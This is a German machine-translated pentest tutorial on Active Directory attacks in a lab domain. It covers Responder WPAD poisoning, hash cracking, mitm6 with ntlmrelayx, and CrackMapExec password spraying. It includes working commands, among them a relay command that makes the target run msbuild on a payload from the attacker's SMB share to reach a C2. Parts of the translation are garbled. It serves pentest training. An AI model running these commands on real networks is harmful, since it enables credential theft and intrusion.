Die Übersetzung des Artikels wurde speziell für Studenten des Pentest vorbereitet . Penetrationstest-Praxis . “

Ich hatte mehrere Kunden, die vor dem Pentest mit der Zuversicht zu mir kamen, dass sie in einem guten Zustand waren, da ihre Schwachstellenanalyse keine kritischen Schwachstellen aufwies und sie für den Pentest bereit waren, nur damit ich Domänenadministratorrechte erhalten konnte Nutzen Sie Konfigurationsfehler in AD in nur fünfzehn Minuten.
Eine der Lücken in der Ausbildung, die ich bei Penetrationstests sehe, ist das mangelnde Bewusstsein in Bezug auf Active Directory Pentesting (AD). Leider unterrichtet OSCP keine AD-Tests, und selbst der SANS GPEN-Kurs berührt dies kaum. Das Ziel dieser Serie ist es, einige der Tricks, Werkzeuge und Techniken zu demonstrieren, die ich in der Vergangenheit für erfolgreiche Pentests mit AD verwendet habe. Dies ist keineswegs eine erschöpfende Anleitung für jede Methode oder jedes Werkzeug. In dieser Reihe werde ich Kali Linux 2019 verwenden und über virtuelle Maschinen in meiner Dummy-Domäne arbeiten.
Beginnen wir mit der Definition des
Ziels : Das Ziel eines Penetrationstests besteht darin, einen möglichen Angriffsvektor zu identifizieren, mit dem ein Angreifer in das Netzwerk eindringt. Es geht
nicht nur darum, Domänenadministratorrechte zu erhalten und sich dann abzumelden.
Jetzt, da wir ein Ziel haben, müssen wir mehrere Schritte unternehmen, um es zu erreichen. Unten finden Sie eine (grobe) visuelle Anleitung für den Pentest-Zyklus.
Gepostet von: MicrosoftSynopsis : Ein Client hat Sie beauftragt, einen Penetrationstest in seinem Netzwerk durchzuführen, in dem Active Directory verwendet wird. Ihnen wurde nichts gegeben. Sie haben keine Zugangsdaten, keine Testgrenzen, keinen Ausweis, um die Eingangstür zu betreten, aber Sie schaffen es, hinter jemandem durch die Tür zu gelangen und mit einem IP-Telefon einen abgeschiedenen Raum zu finden. Sie trennen Ihr IP-Telefon, schließen Ihren Laptop an und sind online. Was weiter?
Implementierung .
Phase I | Implementierung
Ohne Anmeldeinformationen können wir nur eine begrenzte Aufklärung durchführen, und die Aufklärung wird in fast jeder Phase des Zyklus stattfinden. Es gibt jedoch verschiedene Dinge, die wir sofort tun können, um im Netzwerk Fuß zu fassen. Da wir Zugriff auf das Netzwerk haben, überprüfen Sie zunächst über ifconfig oder ipconfig, an welchem Subnetz wir arbeiten. Geben Sie nach Erhalt der IP-Adresse den Befehl ping in nmap ein, um zu prüfen, ob andere Geräte verfügbar sind.
nmap -sn 192.168.1.1/24
Wenn die Geräte zurückkehren, sind Sie im Geschäft. Wenn Sie nichts empfangen, ist ICMP möglicherweise deaktiviert, es befinden sich keine anderen Geräte im Netzwerk oder Sie können nicht mit anderen Geräten kommunizieren, da Sie nicht authentifiziert wurden und möglicherweise von einer Identitätssicherheitslösung (z. B. Cisco ISE) blockiert wurden. Nehmen wir für den Artikel an, dass mehrere Computer zurückkehren und Sie sie erfolgreich pingen können.
Werkzeug :
ResponderAls Nächstes verwenden wir ein Tool namens
Responder oder, wenn Sie Windows nicht gleichgültig gegenüberstehen,
Inveigh . Diese beiden Tools suchen nach einem sehr häufigen Fehler in der AD-Konfiguration, der zu einer möglichen Vergiftung von WPAD und NBT-NS führen kann. Standardmäßig ist Windows für die Suche nach einer automatischen Proxy-Konfigurationsdatei (Automatic Proxy Configuration File, PAC) über die automatische Web-Proxy-Erkennung (WPAD) konfiguriert. Es ist wichtig zu beachten, dass WPAD nicht das Protokoll ist, das die Suche durchführt, sondern nur eine Reihe von Prozeduren, mit denen das Gerät die PAC-Datei finden kann. Das automatische Erkennen einer PAC-Datei ist nützlich für Organisationen, da das Gerät eine Rundsendung sendet, um eine Proxy-Datei anzufordern und diese zu empfangen. Es wird jedoch nicht authentifiziert, wer die Proxy-Datei sendet, sodass der Angreifer eine gefälschte Antwort senden kann, die dann nach Anmeldeinformationen fragt.
In Kali ist standardmäßig ein Responder installiert.
responder -I eth0 --wpad
Auf meinem Windows 7-Computer öffne ich den Internet Explorer und gehe zu Google, das dann nach der WPAD-Datei sucht. In Responder wird angezeigt, wie die Anforderung eingegangen ist. Anschließend antwortet der Responder automatisch auf die Anforderung, wodurch das Opfer seinen Benutzernamen und sein Hash-Passwort (im NTLMv2-Format) sendet.

Es gibt mehrere Dinge, die wir mit diesem Hash tun können. Wir können versuchen, es mit einem Tool wie
ntlmrelay.py
zu hacken oder
ntlmrelay.py
. Ich habe in
diesem Artikel darüber gesprochen, wie man ntlm-Hashes übersetzt, also werde ich mit dem Hacken fortfahren, da dies in der Regel genau das ist, was ich in der Praxis mache.
Um ehrlich zu sein, knacke ich unter Linux / Kali selten Passwörter. Ich verwende die NVIDIA-GPU, die sich unter Kali nie richtig installieren lässt. Außerdem gibt es eine HashcatGUI unter Windows, die den Vorgang erheblich vereinfacht, und diese werde ich verwenden. Ich nehme den resultierenden Hash, lege ihn in eine Datei mit dem Namen
"hash.txt" und
führe mehrere Wortlisten / Regeln darauf aus. Aber in diesem Fall habe ich nur
rockyou.txt
und es wurde für eine Sekunde gehackt.
Meine Einstellungen für HashcatGUI.
Gehacktes Passwort - "Passwort!"Nachdem wir das Passwort erfolgreich geknackt haben, haben wir die Zugangsdaten „Alice: Passwort“!
Bevor ich fortfahre, gibt es einige andere Methoden, die ich zeigen möchte, falls der Responder nicht funktioniert.
Werkzeug :
mitm6Angenommen, das Client-Netzwerk verwendet eine legitime PAC-Datei und Ihr Spoofing funktioniert nicht. Es gibt eine andere Methode, die IPv6 und DNS verwendet, um Anmeldeinformationen an das Ziel zu übergeben. Standardmäßig ist IPv6 aktiviert und IPv4 sogar vorzuziehen. Dies bedeutet, dass der Computer, der über einen IPv6-DNS-Server verfügt, IPv4
bevorzugt . Außerdem suchen Windows-Computer standardmäßig über DHCPv6-Anforderungen nach einem IPv6-DNS-Server. Wenn wir also einen IPv6-DNS-Server vortäuschen, können wir effektiv steuern, wie das Gerät DNS anfordert. Lesen Sie hier mehr darüber.
Lade zuerst mitm6 herunter.
git clone https://github.com/fox-it/mitm6.git cd mitm6 pip install .
Führen Sie es dann in der Zielnetzwerk-Arbeitsgruppe aus. Da wir zuvor das Netzwerk gepingt haben, haben wir auch die NetBIOS-Namen erhalten und erfahren, dass die
lab.local
.
So sahen die Ziel-IP-Einstellungen vor dem Start von
mitm6
Achten Sie auf einen DNS-ServerDann habe ich mitm6 gestartet
mitm6 -d lab.local

Und jetzt haben sich die Ziele des DNS-Servers geändert
Notieren Sie die IPv6-Adresse als DNS-Server.
Die eigentliche Sicherheitsanfälligkeit besteht nun darin, dass Windows IPv6 anstelle von IPv4 bevorzugt, das heißt, jetzt steuere ich DNS.
Nun nutzen wir die Tatsache, dass wir DNS steuern, indem wir WPAD-Antworten über
ntlmrelayx.py
. Ich habe eine
Anleitung zur Installation geschrieben.
Wenn mitm6 in einem Fenster ausgeführt wird, öffnen Sie ein anderes und führen Sie
ntlmrelayx.py
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
-wh
: Server, der die WPAD-Datei -wh
(Angreifer-IP)
-t
: Ziel (Sie können keine Anmeldeinformationen an dasselbe Gerät weiterleiten, das Sie herstellen)
-i
: Interaktive Shell öffnen
Von hier aus können Sie sich mit Ihrem Steuerungs- und Überwachungssystem (C2) Ihrer Wahl verbinden. In diesem Fall verwende ich SILENTTRINITY. Daher verwende ich den Befehl -c, um meinen Befehl auszuführen. In diesem Fall wird MSBuild verwendet, um meine schädlichen Nutzdaten zu erstellen.
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'

Aber nein,
msbuild.exe
erstellt in diesem Fall keine XML-Datei, und ich erhalte keine Verbindung zu SILENTTRINITY, da dies zu einfach wäre. Stattdessen schaue ich auf meinen SMB-Server und sehe einen Relay-Hash

Was ich wiederum hacke.

Und jetzt haben wir die Netzwerkanmeldeinformationen ohne Verwendung eines Responders.
Werkzeug :
CrackMapExecCrackMapExec ist im Wesentlichen ein Schweizer Pentestermesser. Von Passwort-Sprühangriffen und Hash-Übertragungen bis hin zur Ausführung von Befehlen sollte es in jedem Satz von Tools für Pentester enthalten sein.
Wenn alles andere fehlschlägt, können wir versuchen, einen Passwort-Spray-Angriff durchzuführen. Es gibt einen Grund, warum diese Methode die letzte ist, und dies liegt an einer Passwortsperre. Das Blockieren von Passwörtern ist nicht so häufig, wie Sie denken, sodass ein Angreifer einen Wörterbuchangriff anhand des Benutzernamens ausführen kann. Das Erhalten eines Benutzernamens ist der erste Schritt, der über OSINT und mit theHarvester ausgeführt werden kann. Wenn wir keinen Benutzernamen von OSINT haben, können wir CrackMapExec (CME) auch eine Liste von Benutzernamen geben. Nehmen wir jedoch aus Gründen der
Übersichtlichkeit an, wir haben einen
rsmith-Benutzernamen .
Wenn Sie in Kali sind, sollte CrackMapExec bereits installiert sein, wenn Sie eine neuere Version verwenden, aber wenn nicht, können Sie es installieren
apt-get install crackmapexec
Da wir als Ergebnis des Scans das Gerät im Netzwerk gefunden haben, können wir dem CME eine Liste von Passwörtern geben, die mit dem Benutzernamen gekoppelt sind, und versuchen, uns beim System anzumelden.
crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares
Nach einigen Sekunden ist das Passwort gefunden.

Zugangsdaten gefunden!
Es mag auch CTF aussehen, aber season: year ist eine äußerst beliebte Kombination von Passwörtern.
Mit diesen Anmeldeinformationen verfügen wir nun über ein Benutzerkonto. Wir werden uns im
zweiten Teil der Privilegieneskalation zuwenden.